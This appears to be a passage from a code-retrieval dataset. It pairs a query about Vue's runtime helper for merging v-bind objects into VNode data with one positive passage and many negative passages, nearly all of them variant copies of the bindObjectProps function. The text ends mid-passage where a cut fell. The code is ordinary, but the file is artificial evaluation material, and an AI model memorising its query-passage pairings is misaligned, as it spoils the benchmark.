query_id
stringlengths
32
32
query
stringlengths
7
29.6k
positive_passages
listlengths
1
1
negative_passages
listlengths
88
101
fd1cbbd8d04f5a2045ba53e9cb214e40
Runtime helper for merging vbind="object" into a VNode's data.
[ { "docid": "229ff42077d1e36151cee1b4671149e2", "score": "0.0", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp,\n isSync\n) {\n if (value) {\n if (!isObject(value)) {\n warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function ( key ) {\n if (\n key === 'class' ||\n key === 'style' ||\n isReservedAttribute(key)\n ) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[(\"update:\" + key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop( key );\n }\n }\n return data\n}", "title": "" } ]
[ { "docid": "f47703dcb2cd282111dc47aff7f566db", "score": "0.56364155", "text": "function bindObjectProps(data,tag,value,asProp,isSync){if(value){if(!isObject(value)){ true&&warn('v-bind without argument expects an Object or Array value',this);}else{if(Array.isArray(value)){value=toObject(value);}var hash;var loop=function loop(key){if(key==='class'||key==='style'||isReservedAttribute(key)){hash=data;}else{var type=data.attrs&&data.attrs.type;hash=asProp||config.mustUseProp(tag,type,key)?data.domProps||(data.domProps={}):data.attrs||(data.attrs={});}var camelizedKey=camelize(key);var hyphenatedKey=hyphenate(key);if(!(camelizedKey in hash)&&!(hyphenatedKey in hash)){hash[key]=value[key];if(isSync){var on=data.on||(data.on={});on[\"update:\"+key]=function($event){value[key]=$event;};}}};for(var key in value){loop(key);}}}return data;}", "title": "" }, { "docid": "cc48f7b8daaa2f4e3d0aa4731ae53074", "score": "0.5571051", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n\t if (value) {\n\t if (!isObject(value)) {\n\t process.env.NODE_ENV !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n\t } else {\n\t if (Array.isArray(value)) {\n\t value = toObject(value);\n\t }\n\t var hash;\n\t var loop = function loop(key) {\n\t if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n\t hash = data;\n\t } else {\n\t var type = data.attrs && data.attrs.type;\n\t hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n\t }\n\t if (!(key in hash)) {\n\t hash[key] = value[key];\n\n\t if (isSync) {\n\t var on = data.on || (data.on = {});\n\t on[\"update:\" + key] = function ($event) {\n\t value[key] = $event;\n\t };\n\t }\n\t }\n\t };\n\n\t for (var key in value) {\n\t loop(key);\n\t }\n\t }\n\t }\n\t return data;\n\t}", "title": "" }, { "docid": "c7d48ed0b74125caa36b7567d0e133bc", "score": "0.553824", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!Object(core_util_index__WEBPACK_IMPORTED_MODULE_1__[\"isObject\"])(value)) {\n \"none\" !== 'production' && Object(core_util_index__WEBPACK_IMPORTED_MODULE_1__[\"warn\"])('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = Object(core_util_index__WEBPACK_IMPORTED_MODULE_1__[\"toObject\"])(value);\n }\n var hash = void 0;\n\n var _loop = function _loop(key) {\n if (key === 'class' || key === 'style' || Object(core_util_index__WEBPACK_IMPORTED_MODULE_1__[\"isReservedAttribute\"])(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || core_config__WEBPACK_IMPORTED_MODULE_0__[\"default\"].mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on['update:' + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n _loop(key);\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "2ed972069db1e65a9b73772370ec8868", "score": "0.5519192", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n\t if (value) {\n\t if (!isObject(value)) {\n\t warn$2('v-bind without argument expects an Object or Array value', this);\n\t }\n\t else {\n\t if (isArray(value)) {\n\t value = toObject(value);\n\t }\n\t var hash = void 0;\n\t var _loop_1 = function (key) {\n\t if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n\t hash = data;\n\t }\n\t else {\n\t var type = data.attrs && data.attrs.type;\n\t hash =\n\t asProp || config.mustUseProp(tag, type, key)\n\t ? data.domProps || (data.domProps = {})\n\t : data.attrs || (data.attrs = {});\n\t }\n\t var camelizedKey = camelize(key);\n\t var hyphenatedKey = hyphenate(key);\n\t if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n\t hash[key] = value[key];\n\t if (isSync) {\n\t var on = data.on || (data.on = {});\n\t on[\"update:\".concat(key)] = function ($event) {\n\t value[key] = $event;\n\t };\n\t }\n\t }\n\t };\n\t for (var key in value) {\n\t _loop_1(key);\n\t }\n\t }\n\t }\n\t return data;\n\t}", "title": "" }, { "docid": "0b3a7124303bf3fe60d15b837fb9a191", "score": "0.5496979", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n true &&\n warn$2('v-bind without argument expects an Object or Array value', this);\n }\n else {\n if (isArray(value)) {\n value = toObject(value);\n }\n var hash = void 0;\n var _loop_1 = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n }\n else {\n var type = data.attrs && data.attrs.type;\n hash =\n asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\".concat(key)] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n for (var key in value) {\n _loop_1(key);\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "090397525bf15c6147be8e6740ebd0dc", "score": "0.54727054", "text": "function dataExtend(obj, a, b) {\n for (var i = 1, len = arguments.length; i < len; i++) {\n var arg = arguments[i];\n if (typeof arg === 'object') {\n for (var key in arg) obj[key] = arg[key];\n }\n }\n return obj;\n}", "title": "" }, { "docid": "27c64b403eb2fdb181f81cac9a2be606", "score": "0.54648626", "text": "function bindObjectProps (\n\t data,\n\t tag,\n\t value,\n\t asProp\n\t) {\n\t if (value) {\n\t if (!isObject(value)) {\n\t process.env.NODE_ENV !== 'production' && warn(\n\t 'v-bind without argument expects an Object or Array value',\n\t this\n\t );\n\t } else {\n\t if (Array.isArray(value)) {\n\t value = toObject(value);\n\t }\n\t for (var key in value) {\n\t if (key === 'class' || key === 'style') {\n\t data[key] = value[key];\n\t } else {\n\t var type = data.attrs && data.attrs.type;\n\t var hash = asProp || config.mustUseProp(tag, type, key)\n\t ? data.domProps || (data.domProps = {})\n\t : data.attrs || (data.attrs = {});\n\t hash[key] = value[key];\n\t }\n\t }\n\t }\n\t }\n\t return data\n\t}", "title": "" }, { "docid": "3042ad59e807764c7ac95afc1dc34a36", "score": "0.5462769", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function loop(key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n loop(key);\n }\n }\n }\n return data;\n }", "title": "" }, { "docid": "e0d8df7f6885e3562426264a53ed2a3e", "score": "0.5449562", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n warn$2('v-bind without argument expects an Object or Array value', this);\n }\n else {\n if (isArray(value)) {\n value = toObject(value);\n }\n let hash;\n for (const key in value) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n }\n else {\n const type = data.attrs && data.attrs.type;\n hash =\n asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n const camelizedKey = camelize(key);\n const hyphenatedKey = hyphenate(key);\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n if (isSync) {\n const on = data.on || (data.on = {});\n on[`update:${key}`] = function ($event) {\n value[key] = $event;\n };\n }\n }\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "b0f9d35d400b654896f7c85743598500", "score": "0.54495174", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop(key);\n }\n }\n return data;\n }", "title": "" }, { "docid": "b2593000ce81dd41ad65d924bb2f6daa", "score": "0.5438552", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\r\n if (value) {\r\n if (!isObject(value)) {\r\n \"production\" !== 'production' &&\r\n warn('v-bind without argument expects an Object or Array value', this);\r\n }\r\n else {\r\n if (isArray(value)) {\r\n value = toObject(value);\r\n }\r\n var hash = void 0;\r\n var _loop_1 = function (key) {\r\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\r\n hash = data;\r\n }\r\n else {\r\n var type = data.attrs && data.attrs.type;\r\n hash =\r\n asProp || config.mustUseProp(tag, type, key)\r\n ? data.domProps || (data.domProps = {})\r\n : data.attrs || (data.attrs = {});\r\n }\r\n var camelizedKey = camelize(key);\r\n var hyphenatedKey = hyphenate(key);\r\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\r\n hash[key] = value[key];\r\n if (isSync) {\r\n var on = data.on || (data.on = {});\r\n on[\"update:\".concat(key)] = function ($event) {\r\n value[key] = $event;\r\n };\r\n }\r\n }\r\n };\r\n for (var key in value) {\r\n _loop_1(key);\r\n }\r\n }\r\n }\r\n return data;\r\n}", "title": "" }, { "docid": "19b98fff6579b58a24461c596b722278", "score": "0.54348975", "text": "function ve(t,e,n,i,r){if(n)if(s(n)){Array.isArray(n)&&(n=w(n));var o;for(var a in n)!function(a){if(\"class\"===a||\"style\"===a||Co(a))o=t;else{var s=t.attrs&&t.attrs.type;o=i||Do.mustUseProp(e,s,a)?t.domProps||(t.domProps={}):t.attrs||(t.attrs={})}if(!(a in o)&&(o[a]=n[a],r)){(t.on||(t.on={}))[\"update:\"+a]=function(t){n[a]=t}}}(a)}else na(\"v-bind without argument expects an Object or Array value\",this);return t}", "title": "" }, { "docid": "1971cfc0660f06d0cfea8328eebca03b", "score": "0.5433487", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function loop(key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n loop(key);\n }\n }\n }\n return data;\n }", "title": "" }, { "docid": "0df37318d338ce521341aae01046efd4", "score": "0.5430343", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function loop(key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + camelizedKey] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n loop(key);\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "912135936d6b6f241e1cc55dd3615ff4", "score": "0.5428454", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop(key);\n }\n }\n return data;\n}", "title": "" }, { "docid": "f8280c644b21fe3f14adaf826b8dfab1", "score": "0.54274684", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function loop(key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n loop(key);\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "5a592df5436e84e7fcbdf57b2ee528e1", "score": "0.5399246", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n\n var hash;\n\n var loop = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop(key);\n }\n }\n\n return data;\n}", "title": "" }, { "docid": "a24d4152dfabbaaac6d3ed523f51b6a3", "score": "0.53935957", "text": "function bindObjectProps (\n\t data,\n\t tag,\n\t value,\n\t asProp\n\t) {\n\t if (value) {\n\t if (!isObject(value)) {\n\t (\"development\") !== 'production' && warn(\n\t 'v-bind without argument expects an Object or Array value',\n\t this\n\t );\n\t } else {\n\t if (Array.isArray(value)) {\n\t value = toObject(value);\n\t }\n\t var hash;\n\t for (var key in value) {\n\t if (key === 'class' || key === 'style') {\n\t hash = data;\n\t } else {\n\t var type = data.attrs && data.attrs.type;\n\t hash = asProp || config.mustUseProp(tag, type, key)\n\t ? data.domProps || (data.domProps = {})\n\t : data.attrs || (data.attrs = {});\n\t }\n\t if (!(key in hash)) {\n\t hash[key] = value[key];\n\t }\n\t }\n\t }\n\t }\n\t return data\n\t}", "title": "" }, { "docid": "45a5a48d41b53ebd7580e820cc9bbaec", "score": "0.53881735", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n\n var hash;\n\n var loop = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop(key);\n }\n }\n\n return data;\n}", "title": "" }, { "docid": "45a5a48d41b53ebd7580e820cc9bbaec", "score": "0.53881735", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n\n var hash;\n\n var loop = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop(key);\n }\n }\n\n return data;\n}", "title": "" }, { "docid": "45a5a48d41b53ebd7580e820cc9bbaec", "score": "0.53881735", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n\n var hash;\n\n var loop = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop(key);\n }\n }\n\n return data;\n}", "title": "" }, { "docid": "e19dea77cf06efb0bcc7799117ffa102", "score": "0.53879744", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n true && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function (key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) loop(key);\n }\n }\n return data;\n }", "title": "" }, { "docid": "a200f700a39384304905d62664c1f827", "score": "0.53809106", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n var loop = function loop(key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n var camelizedKey = camelize(key);\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n on[\"update:\" + camelizedKey] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n loop(key);\n }\n }\n }\n return data;\n}", "title": "" }, { "docid": "c6d6d79fdd7b285ff9677bae83628125", "score": "0.5357535", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject(value)) {\n true && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n\n var hash;\n\n var loop = function loop(key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n\n var camelizedKey = camelize(key);\n\n if (!(key in hash) && !(camelizedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n\n on[\"update:\" + camelizedKey] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n loop(key);\n }\n }\n }\n\n return data;\n}", "title": "" }, { "docid": "fd6cf657d9c3e196fe0030009fb19eb6", "score": "0.53517455", "text": "function extend(obj, data) {\r\n for (var p in data) {\r\n obj[p] = data[p];\r\n }\r\n\r\n return obj;\r\n }", "title": "" }, { "docid": "9f0c91eea885d857d7920e6b442955e3", "score": "0.5351144", "text": "function mergeData(to,from){if(!from){return to;}var key,toVal,fromVal;var keys=hasSymbol?Reflect.ownKeys(from):Object.keys(from);for(var i=0;i<keys.length;i++){key=keys[i];// in case the object is already observed...\nif(key==='__ob__'){continue;}toVal=to[key];fromVal=from[key];if(!hasOwn(to,key)){set(to,key,fromVal);}else if(toVal!==fromVal&&isPlainObject(toVal)&&isPlainObject(fromVal)){mergeData(toVal,fromVal);}}return to;}", "title": "" }, { "docid": "84399de4466aeba5aefa67afcc624f16", "score": "0.5344944", "text": "function bindObjectProps(data, tag, value, asProp, isSync) {\n if (value) {\n if (!isObject$1(value)) {\n true && warn('v-bind without argument expects an Object or Array value', this);\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n\n var hash;\n\n var loop = function loop(key) {\n if (key === 'class' || key === 'style' || isReservedAttribute(key)) {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key) ? data.domProps || (data.domProps = {}) : data.attrs || (data.attrs = {});\n }\n\n var camelizedKey = camelize(key);\n var hyphenatedKey = hyphenate(key);\n\n if (!(camelizedKey in hash) && !(hyphenatedKey in hash)) {\n hash[key] = value[key];\n\n if (isSync) {\n var on = data.on || (data.on = {});\n\n on[\"update:\" + key] = function ($event) {\n value[key] = $event;\n };\n }\n }\n };\n\n for (var key in value) {\n loop(key);\n }\n }\n }\n\n return data;\n}", "title": "" }, { "docid": "75cf6b879aa48e5e3cfe10cd678ddeb0", "score": "0.5296913", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"development\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n data[key] = value[key];\n } else {\n var type = data.attrs && data.attrs.type;\n var hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "8ba6a30ad857dbfb1f810a5ed81b1856", "score": "0.52803135", "text": "function bindObjects(obj1, obj2) {\n boundObjects.push({obj1:obj1, obj2:obj2})\n }", "title": "" }, { "docid": "e1ea4ea52e5cf98356572456c2a4edfc", "score": "0.52616036", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e1ea4ea52e5cf98356572456c2a4edfc", "score": "0.52616036", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e1ea4ea52e5cf98356572456c2a4edfc", "score": "0.52616036", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e1ea4ea52e5cf98356572456c2a4edfc", "score": "0.52616036", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "e1ea4ea52e5cf98356572456c2a4edfc", "score": "0.52616036", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n \"production\" !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "4f46fabe15dc0bad7c40b7b42c3529ef", "score": "0.5253716", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n process.env.NODE_ENV !== 'production' && warn(\n 'v-bind without argument expects an Object or Array value',\n this\n );\n } else {\n if (Array.isArray(value)) {\n value = toObject(value);\n }\n var hash;\n for (var key in value) {\n if (key === 'class' || key === 'style') {\n hash = data;\n } else {\n var type = data.attrs && data.attrs.type;\n hash = asProp || config.mustUseProp(tag, type, key)\n ? data.domProps || (data.domProps = {})\n : data.attrs || (data.attrs = {});\n }\n if (!(key in hash)) {\n hash[key] = value[key];\n }\n }\n }\n }\n return data\n}", "title": "" }, { "docid": "4f46fabe15dc0bad7c40b7b42c3529ef", "score": "0.5253716", "text": "function bindObjectProps (\n data,\n tag,\n value,\n asProp\n) {\n if (value) {\n if (!isObject(value)) {\n 